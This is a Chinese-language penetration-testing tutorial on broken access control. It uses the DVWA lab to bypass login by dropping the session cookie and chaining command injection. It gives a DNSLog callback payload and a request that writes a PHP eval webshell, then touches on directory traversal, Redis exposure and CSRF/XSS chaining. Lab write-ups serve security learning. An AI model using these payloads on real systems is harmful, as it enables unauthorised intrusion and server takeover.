本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!
什么是失效的访问控制?
失效访问控制有哪些种类?
失效访问控制的场景是什么样子的?
这篇文章复现漏洞的流程是怎么样的?
什么是失效的访问控制?
失效的访问控制,其实就是系统对一些功能点做了访问限制或者权限的限制,但是由于程序开发时因各方面因素导致的缺陷,使这些限制并没有生效,从而产生了失效的访问控制漏洞。
失效访问控制有哪些种类?
失效访问控制的场景是什么样子的?
假设我们要用一个后台管理系统的添加用户的功能,首先要先要用后台管理员账号登录系统之后,点击添加用户功能才能进行添加,但是如果黑客知道了那个功能的路径与参数,黑客就可以尝试跳过登录过程,直接构造好请求包,然后发送请求包执行添加用户的功能,如果成功添加了用户,就能确定这里存在失效的访问控制漏洞。
上面所说的场景是绕过登录直接执行某个功能,还有的情况就是登录之后的越权操作,比如审核员的身份只能审核文章,但是由于存在失效的访问控制漏洞,审核员还能拥有超级管理员的功能,可以删除文章,这就是越权漏洞,也属于失效的访问控制漏洞。
这篇文章复现漏洞的流程是怎么样的?
在这里,我将会使用dvwa靶场来复现失效的访问控制漏洞。其中我们需要借助low级别的命令注入漏洞,由于dvwa靶场需要先登录,然后才能具有命令注入模块的使用功能,这个时候我们就可以利用失效的访问控制漏洞,直接绕过登录进行命令注入,最后利用这个失效的访问控制漏洞与命令注入漏洞getshell。
phpstudy
dvwa靶场
在环境准备好之后,我们就需要开始漏洞复现了,首先就需要构造请求包
构造请求包之前我们首先需要知道命令注入功能点的具体路径,通过对靶场路径与源码分析,我们知道了low级别的命令注入漏洞靶场路径是\WWW\dv\vulnerabilities\exec\source\low.php
,于是我们可以先登录dvwa,找到命令注入漏洞,点击submit
按钮进行抓包,抓包情况如下:
如上图,通过以上操作,我们删除cookie就可以模拟绕过登录,然后需要手动指定命令注入漏洞的php代码的路径,然后在最后面添加自己想要执行的命令,这个请求包就是我们构造的请求包。
请求包构造好之后,我们如何确认具有失效的访问控制漏洞呢,所以就需要使用下面的poc来查看dnslog是否回显。
通过以上请求包的构造,我们可以利用一下poc,验证一下命令是否能执行成功
ip=127.0.0.1%26ping+yuanboss.2iknuw.dnslog.cn&Submit=Submit
发现DNSLog中有回显,所以命令执行成功,存在失效的访问控制漏洞,接下来就要利用命令注入漏洞继续渗透,扩大危害,尝试写入webshell进行getshell。
ip=127.0.0.1%26echo &Submit=Submit
ip=127.0.0.1%26echo+"<%3fphp+%40eval($_POST['cmd'])%3b%3f>">yuanboss.php&Submit=Submit
BP发送数据包,注意:通过echo进行写入webshell的时候需要使用双引号引起一句话木马的代码,才能写入成功。
与失效的访问控制类似的漏洞还有目录遍历,未授权访问漏洞
目录遍历又叫做目录穿越,Directory Traversal。该漏洞出现在Web程序中,Web 用户通过某种方式,可以访问Web 根目录以外的文件,甚至执行系统命令。
造成目录遍历漏洞的原因:
文件包含
文件读取
RCE
…
常见的未授权访问漏洞就是Redis 未授权访问漏洞了,具体的漏洞复现可以查看我的这篇文章:未授权访问漏洞实战
Redis未授权访问漏洞存在以下危害:
失效的访问控制漏洞一般都出现在需要登录的系统,这类系统一般都具有后台管理模块,并且具有权限划分,我们如果知道了某个功能的接口,就可以尝试直接请求接口,如果能成功完成接口的功能就说明存在这个漏洞了,危害大小与本身漏洞无关,而是和系统功能有关。
通过信息收集我们可能收集到一些接口地址信息,如果没有登录账号,就可以尝试直接访问接口,看看能否越权访问,如果有低级别的账号,就可以尝试访问高级别身份的功能,看看能否垂直越权.
如果无法绕过登录访问功能,或者无法实现垂直越权实现资源访问,但是收集到了接口地址信息,这个时候就需要留意一下CSRF攻击了,看看是否存在跨站请求伪造,如果存在CSRF就可以借助钓鱼的方式利用,甚至如果还发现了XSS漏洞,就可以配合收集到的接口信息,和CSRF打一套组合漏洞利用,从而让目标执行恶意请求。